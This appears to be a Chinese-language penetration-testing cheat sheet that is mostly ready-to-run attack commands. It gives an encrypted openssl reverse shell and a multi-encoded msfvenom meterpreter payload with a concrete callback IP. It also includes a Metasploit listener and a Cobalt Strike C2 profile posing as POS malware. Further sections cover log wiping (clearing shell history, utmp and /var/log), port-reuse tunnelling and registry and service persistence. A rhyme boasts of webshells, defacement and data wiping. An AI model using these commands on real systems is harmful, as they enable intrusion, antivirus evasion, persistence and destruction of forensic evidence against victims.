前言

淺藍(lán)的滲透測(cè)試導(dǎo)圖以及小工具

# 拉取鏡像
  docker pull leishianquan/awvs-nessus:v1
  # 啟動(dòng)
  docker run -it -d -p 13443:3443 -p 8834:8834 leishianquan/awvs-nessus:v1
  # 查看容器
  docker ps –a
  # 啟動(dòng)容器
  docker start container-id
  # 進(jìn)入容器
  docker exec –it container-id /bin/bash
  
  # 進(jìn)入容器后，啟動(dòng)nessus
  /etc/init.d/nessusd start
  
  # 訪問(wèn)掃描器地址和賬號(hào)密碼
  Nessus:
  https://127.0.0.1:8834/#/
  account:leishi/leishianquan


  Awvs13:
  https://127.0.0.1:13443/
  account:admin@admin.com/Admin123

ZERO

一.時(shí)刻關(guān)注返回的數(shù)據(jù)包

1. 驗(yàn)證碼與郵箱以及token的返回泄露，以及后臺(tái)為校驗(yàn)從而可刪除的參數(shù)。
   截獲的敏感數(shù)據(jù)參數(shù)，學(xué)會(huì)在多個(gè)數(shù)據(jù)包反復(fù)嘗試。
   從某個(gè)成功請(qǐng)求中捕獲數(shù)據(jù)包觀察cookie或者token是否存在規(guī)律或加密。
   通過(guò)修改返回的狀態(tài)值，觸發(fā)js進(jìn)行邏輯漏洞的滲透。
   token的key參數(shù)解密構(gòu)建獲取真實(shí)user密鑰，可拼接、規(guī)律、時(shí)間戳……

進(jìn)谷歌  找注入
沒(méi)注入  就旁注
沒(méi)旁注  用0day
沒(méi)0day  猜目錄
沒(méi)目錄  就嗅探
爆賬戶  找后臺(tái)
傳小馬  放大馬
拿權(quán)限  掛頁(yè)面
放暗鏈  清數(shù)據(jù)
滲透企業(yè)實(shí)戰(zhàn)版
搞企業(yè)  先掃描
掃描器  商業(yè)好
默密碼  都知道
社工庫(kù)  找一找
郵箱號(hào)  先列好
九頭蛇  跑一跑
搞不定  放大招
找插件  挖一挖
發(fā)郵件  憑偽造
沒(méi)郵箱  搞網(wǎng)站
二級(jí)域  皆可爆
老漏洞  沒(méi)修好
新漏洞  刷一票
干研發(fā)  Git 找
源代碼  全都要
C D N  可以跳
防火墻  可以撬
堡壘機(jī)  可以秒
云防護(hù)  可以秒
是企業(yè)  沒(méi)有哪家搞不了！

三.WEBBYPASS

1）VPS 上生成 ssl 證書的公鑰/私鑰對(duì)：
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
2）VPS 監(jiān)聽反彈 shell：
openssl s_server -quiet -key key.pem -cert cert.pem -port 80
3）目標(biāo)上回連 shell：
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect :1024 > /tmp/s; rm /tmp/s


VPS 上已獲取加密的 getshell 了。

四.提權(quán)與權(quán)限維持

###生成證書并寫入文件
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -keyout rsaprivate.key -out servercertificate.crt


cat  rsaprivate.key servercertificate.crt >my.pem
###生成payload
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=39.97.167.211 LPORT=6667 --platform windows -a x86 HandLerSSLCert= ./my.pem StagerVerifySSLCert=true -s 42 --smallest -e x86/shikata_ga_nai -i 9 -f raw| msfvenom --platform windows -a x86 -e x86/countdown -i 8 -f raw | msfvenom --platform windows -a x86 -e x86/call4_dword_xor -i 6 -b "x00x0ax0d" -f raw > /home/xskali/kali/Shecodject/output/shellcode.raw


###監(jiān)聽
msfconsole -q -x 'use exploit/multi/handler;set ExitOnSession false;set PAYLOAD windows/meterpreter/reverse_winhttps;set LHOST 192.168.129.128; set LPORT 4445; set HandlerSslCert /home/xskali/kali/Shecodject/output/my.pem;set StagerVerifySSLCert true; set SessionCommunicationTimeout 600 ;set autorunscript post/windows/manage/migrate; run -j -Z'

老牌工具Cobaltstrike+Profiles

keytool -genkey -alias tryblog -keyalg RSA -validity 36500 -keystore tryblog.store

set sample_name "tryblog POS Malware";
 
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter
 
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
 
#設(shè)置證書，注意以下內(nèi)容得和你之前生成的證書一樣
https-certificate {
    set CN       "TRY"; 
    set O        "TRY";   
    set C        "TRY";
    set L        "TRY";
    set OU       "TRY";  
    set ST       "TRY";
    set validity "365";
}
#設(shè)置，修改成你的證書名稱和證書密碼
code-signer{
    set keystore "tryblog.store";
    set password "tryblog";
    set alias "tryblog";
}
 
#指定DNS beacon不用的時(shí)候指定到IP地址
set dns_idle "8.8.4.4";
 
#每個(gè)單獨(dú)DNS請(qǐng)求前強(qiáng)制睡眠時(shí)間
set dns_sleep "0";
 
#通過(guò)DNS上載數(shù)據(jù)時(shí)主機(jī)名的最大長(zhǎng)度[0-255]
set maxdns    "235";
 
http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
 
    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urltrytryd";
 
        id {
            netbios;
            parameter "id";
        }
 
        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }
 
    server {
        output {
            print;
        }
    }
}
 
http-get {
    set uri "/updates";
 
    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }
 
    server {
        header "Content-Type" "text/plain";
 
        output {
            base64;
            print;
        }
    }
}

./c2lint C2.profile
./teamserver ip:prot ./C2.profile 
java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC  -jar cobaltstrike.jar

免殺遠(yuǎn)控整理（來(lái)自Tide團(tuán)隊(duì))

windows下的免殺生成（順序從上到下依次混淆）

python3 -m http.server 8080

Veil

一些payload加料的技巧

windows

linux

五、日志清理（細(xì)心的安全工程師會(huì)更改位置并定時(shí)備份后滲透主要還是靠細(xì)心）

windows

防火墻日志路徑：%systemroot%system32logfiles
IIS日志路徑：%systemroot%system32logfles
windows系統(tǒng)日志：%systemroot%system32config
Scheduler服務(wù)日志：%systemroot%schedlgu.txt
日志在注冊(cè)表的鍵：HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesEventlog
系統(tǒng)日志：%SystemRoot%System32WinevtLogsSystem.evtx
安全日志：%SystemRoot%System32WinevtLogsSecurity.evtx
應(yīng)用程序日志：%SystemRoot%System32WinevtLogsApplication.evtx

linux（檢索根目錄以及上級(jí)目錄是否存在備份）

history -c
echo “”> /root/.bash_history
echo “”> /var/run/utmp

/var/log/boot.log：錄了系統(tǒng)在引導(dǎo)過(guò)程中發(fā)生的事件，就是Linux系統(tǒng)開機(jī)自檢過(guò)程顯示的信息


/var/log/lastlog ：記錄最后一次用戶成功登陸的時(shí)間、登陸IP等信息


/var/log/messages ：記錄Linux操作系統(tǒng)常見的系統(tǒng)和服務(wù)錯(cuò)誤信息


/var/log/secure ：Linux系統(tǒng)安全日志，記錄用戶和工作組變壞情況、用戶登陸認(rèn)證情況


/var/log/btmp ：記錄Linux登陸失敗的用戶、時(shí)間以及遠(yuǎn)程IP地址


/var/log/syslog：只記錄警告信息，常常是系統(tǒng)出問(wèn)題的信息，使用lastlog查看


/var/log/wtmp：該日志文件永久記錄每個(gè)用戶登錄、注銷及系統(tǒng)的啟動(dòng)、停機(jī)的事件，使用last命令查看


/var/log/maillog 與郵件相關(guān)的日志信息


/var/log/cron 與定時(shí)任務(wù)相關(guān)的日志信息


/var/log/spooler 與UUCP和news設(shè)備相關(guān)的日志信息


/var/log/auth.log 系統(tǒng)授權(quán)信息，包括用戶登錄和使用的權(quán)限機(jī)制等 (debian)


/var/run/utmp：該日志文件記錄有關(guān)當(dāng)前登錄的每個(gè)用戶的信息。如 who、w、users、finger等就需要訪問(wèn)這個(gè)文件

web容器路徑

apche：C:Program FilesApache Software FoundationApache2.2htdocs"
tomact:CProgram Filestomcatlog
nignx: CProgram Filesnginx-1.14.2logs

tomcat：/usr/local/tomcat/logs/
apche：/usr/local/apache/logs/access_log
nignx:/var/log/httpd/error_log  rm -f -r /var/log/*

frsocks+protoplex+流量重定向?qū)崿F(xiàn)端口復(fù)用

./frsocks -sockstype fsocks -listen 2333  //創(chuàng)建本地監(jiān)聽
./protoplex --socks5 192.168.154.130:2333 --http 127.0.0.1:80 -b 192.168.154.130:9999  //端口分流，根據(jù)協(xié)議類型轉(zhuǎn)到本地的2333和80端口

sudo iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 9999

netsh interface portproxy add v4tov4 listenport=80 listen address=192.168.154.129 connectport=9999 connectaddress=192.168.154.129

netsh interface portproxy show all //查看轉(zhuǎn)發(fā)規(guī)則
netsh interface portproxy reset   //清除所有轉(zhuǎn)發(fā)規(guī)則

將 IP 流量封裝進(jìn) IMCP 的 ping 數(shù)據(jù)包進(jìn)行傳輸

后滲透

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Keyname" /t REG_SZ /d "C:UsersKingXL1.exe" /f 


reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun /v "test" /t REG_SZ /d "C:UsersKingXL1.exe" /f

sc create "server power" binpath= "C:WindowsSystem32config.exe"
//設(shè)置服務(wù)的描述字符串
sc description "server power" "description" 
//設(shè)置這個(gè)服務(wù)為自動(dòng)啟動(dòng)
sc config "server power" start= auto 
net start "server power" 啟動(dòng)服務(wù)

八、 一個(gè)便捷的HACK瀏覽器（上火狐開發(fā)者版本也不錯(cuò)）